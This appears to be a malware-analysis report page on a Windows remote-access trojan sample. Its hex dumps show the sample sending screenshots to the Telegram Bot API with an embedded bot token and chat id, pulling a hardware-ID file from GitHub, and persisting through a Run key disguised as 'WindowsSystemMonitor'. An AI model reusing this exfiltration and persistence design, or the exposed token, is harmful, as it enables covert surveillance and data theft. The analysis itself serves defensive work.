Hostile 93% Download

virussign.com_eedd96e161b5aa8749bf633755d28eb0.vir

RAT with C2, persistence, anti-analysis

WinInet HTTP client launches via ShellExecuteExWinInet HTTP client writes a Run key
SHA-2564e29179b292f5938b3d23bcfe7dec2b4b7562694e9e1dbcc0d1663630db148c6
URLhttp://samples.virussign.com/samples/virussign.com_20260930_LimitedFree.zip
MaleculeK(Te)O₇(C₄As₇AlCoDy₂Er₂P₂)H₇(Cm₈F₅HfMgOs₆Po₁₂Ti)Md₃(Bi₁₀HeSi)Th

Evidence

Open HTTP request via WinInet 0x22fa0–0x23290
⋯5 more rows
0x22ff002030405060708090c0d0e0f0c0d0e0f................
0x2300000010405060708090c0d0e0f0c0d0e0f................
0x230100405060708090c0d0e0f0a0b0c0d0e0f................
0x2302000010203060708090c0d0e0f0c0d0e0f................
0x230300203060708090c0d0e0f0a0b0c0d0e0f................
0x230400001060708090c0d0e0f0a0b0c0d0e0f................
0x23050060708090c0d0e0f08090a0b0c0d0e0f................
0x2306000010203040508090c0d0e0f0c0d0e0f................
0x230700203040508090c0d0e0f0a0b0c0d0e0f................
0x230800001040508090c0d0e0f0a0b0c0d0e0f................
0x23090040508090c0d0e0f08090a0b0c0d0e0f................
0x230a00001020308090c0d0e0f0a0b0c0d0e0f................
0x230b0020308090c0d0e0f08090a0b0c0d0e0f................
0x230c0000108090c0d0e0f08090a0b0c0d0e0f................
0x230d008090c0d0e0f060708090a0b0c0d0e0f................
0x230e000010203040506070c0d0e0f0c0d0e0f................
0x230f00203040506070c0d0e0f0a0b0c0d0e0f................
0x231000001040506070c0d0e0f0a0b0c0d0e0f................
0x23110040506070c0d0e0f08090a0b0c0d0e0f................
0x231200001020306070c0d0e0f0a0b0c0d0e0f................
0x23130020306070c0d0e0f08090a0b0c0d0e0f................
0x23140000106070c0d0e0f08090a0b0c0d0e0f................
0x2315006070c0d0e0f060708090a0b0c0d0e0f................
0x231600001020304050c0d0e0f0a0b0c0d0e0f................
0x23170020304050c0d0e0f08090a0b0c0d0e0f................
0x23180000104050c0d0e0f08090a0b0c0d0e0f................
0x2319004050c0d0e0f060708090a0b0c0d0e0f................
0x231a0000102030c0d0e0f08090a0b0c0d0e0f................
0x231b002030c0d0e0f060708090a0b0c0d0e0f................
0x231c000010c0d0e0f060708090a0b0c0d0e0f................
0x231d00c0d0e0f0405060708090a0b0c0d0e0f................
0x231e0000102030405060708090a0b0e0f0e0f................
0x231f002030405060708090a0b0e0f0c0d0e0f................
0x2320000010405060708090a0b0e0f0c0d0e0f................
0x232100405060708090a0b0e0f0a0b0c0d0e0f................
0x2322000010203060708090a0b0e0f0c0d0e0f................
0x232300203060708090a0b0e0f0a0b0c0d0e0f................
0x232400001060708090a0b0e0f0a0b0c0d0e0f................
0x23250060708090a0b0e0f08090a0b0c0d0e0f................
0x2326000010203040508090a0b0e0f0c0d0e0f................
0x232700203040508090a0b0e0f0a0b0c0d0e0f................
0x232800001040508090a0b0e0f0a0b0c0d0e0f................
0x23290040508090a0b0e0f08090a0b0c0d0e0f................
References the .NET mscoree loader name 0x26348–0x264f8
⋯7 more rows
0x263b8286e756c6c290000434f4d5350454300(null)..COMSPEC.
0x263c8636d642e657865002f63000000000000cmd.exe./c......
0x263d8050000c00b000000000000001d0000c0................
⋯7 more rows
0x2645800000000b50200c00800000000000000................
0x264680c00000003000000090000006d007300............m.s.
0x2647863006f007200650065002e0064006c00c.o.r.e.e...d.l.
0x264886c000000436f724578697450726f6365l...CorExitProce
⋯7 more rows
multipart/form-data content type 0x2b274–0x2b564
⋯3 more rows
0x2b2a46a6b74370000000068747470733a2f2fjkt7....https://
0x2b2b46170692e6769746875622e636f6d2f72api.github.com/r
0x2b2c465706f732f25732f25732f636f6e7465epos/%s/%s/conte
0x2b2d46e74732f687769642e6a736f6e000000nts/hwid.json...
0x2b2e400000000417574686f72697a6174696f....Authorizatio
⋯10 more rows
0x2b394743d5b00353530303238393134340000t=[.5500289144..
0x2b3a42f73656e644d6573736167653f636861/sendMessage?cha
0x2b3b4745f69643d0000003838313533363833t_id=...88153683
0x2b3c431343a414148634d516f34706278625414:AAHcMQo4pbxbT
0x2b3d433343558304341474330665f4e675059345X0CAGC0f_NgPY
0x2b3e47464697a4438000068747470733a2f2ftdizD8..https://
0x2b3f46170692e74656c656772616d2e6f7267api.telegram.org
0x2b4042f626f740000000050726f6365736f20/bot....Proceso
0x2b4147465726d696e61646f3a200025735c73terminado: .%s\s
0x2b424735f2530346425303264253032645f25s_%04d%02d%02d_%
0x2b43430326425303264253032642e626d700002d%02d%02d.bmp.
0x2b4442d2d2d2d426f756e6461727900000000----Boundary....
0x2b4540d0a00000d0a436f6e74656e742d4469......Content-Di
0x2b46473706f736974696f6e3a20666f726d2dsposition: form-
0x2b474646174613b206e616d653d2263686174data; name="chat
0x2b4845f6964220d0a0d0a000000002d2d0000_id"........--..
0x2b494202d20005d0000000d0a436f6e74656e - .].....Conten
0x2b4a4742d446973706f736974696f6e3a2066t-Disposition: f
0x2b4b46f726d2d646174613b206e616d653d22orm-data; name="
0x2b4c463617074696f6e220d0a0d0a5b000000caption"....[...
0x2b4d4000000000d0a436f6e74656e742d4469......Content-Di
0x2b4e473706f736974696f6e3a20666f726d2dsposition: form-
0x2b4f4646174613b206e616d653d2270686f74data; name="phot
0x2b5046f223b2066696c656e616d653d227373o"; filename="ss
0x2b5142e626d70220d0a436f6e74656e742d54.bmp"..Content-T
0x2b5247970653a20696d6167652f626d700d0aype: image/bmp..
0x2b5340d0a00002d2d0d0a000000000d0a2d2d....--........--
0x2b544000000002f73656e6450686f746f0000..../sendPhoto..
0x2b554504f535400000000436f6e74656e742dPOST....Content-
0x2b564547970653a206d756c7469706172742fType: multipart/
Accesses Windows CurrentVersion Run key 0x2b6dc–0x2b86c
⋯6 more rows
0x2b73c7269746963616c0040000000200a0000ritical.@... ...
0x2b74c536f6674776172655c4d6963726f736fSoftware\Microso
0x2b75c66745c57696e646f77735c4375727265ft\Windows\Curre
0x2b76c6e7456657273696f6e5c52756e000000ntVersion\Run...
0x2b77c57696e646f777353797374656d4d6f6eWindowsSystemMon
⋯15 more rows
Binary imports ADVAPI32.dll 0x2e280–0x2e4e0
⋯3 more rows
0x2e2b05553455233322e646c6c000095014465USER32.dll....De
0x2e2c06c6574654f626a6563740000a7035365leteObject....Se
0x2e2d07453747265746368426c744d6f646500tStretchBltMode.
0x2e2e0920144656c6574654443000091024765..DeleteDC....Ge
0x2e2f07444494269747300b803537472657463tDIBits...Stretc
0x2e30068426c7400003100437265617465436fhBlt..1.CreateCo
0x2e3106d70617469626c65444300007c035365mpatibleDC..|.Se
0x2e3206c6563744f626a65637400003f004372lectObject..?.Cr
0x2e33065617465466f6e744100300043726561eateFontA.0.Crea
0x2e3407465436f6d70617469626c654269746dteCompatibleBitm
0x2e350617000001300426974426c7400004744ap....BitBlt..GD
0x2e3604933322e646c6c006e0252656744656cI32.dll.n.RegDel
0x2e37065746556616c7565410087025265674feteValueA...RegO
0x2e38070656e4b657945784100a40252656753penKeyExA...RegS
0x2e390657456616c756545784100005f025265etValueExA.._.Re
0x2e3a0674372656174654b6579457841009402gCreateKeyExA...
0x2e3b0526567517565727956616c7565457841RegQueryValueExA
0x2e3c000005702526567436c6f73654b657900..W.RegCloseKey.
0x2e3d041445641504933322e646c6c0000ae01ADVAPI32.dll....
0x2e3e05368656c6c4578656375746545784100ShellExecuteExA.
0x2e3f04c015348476574466f6c646572506174L.SHGetFolderPat
⋯15 more rows

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.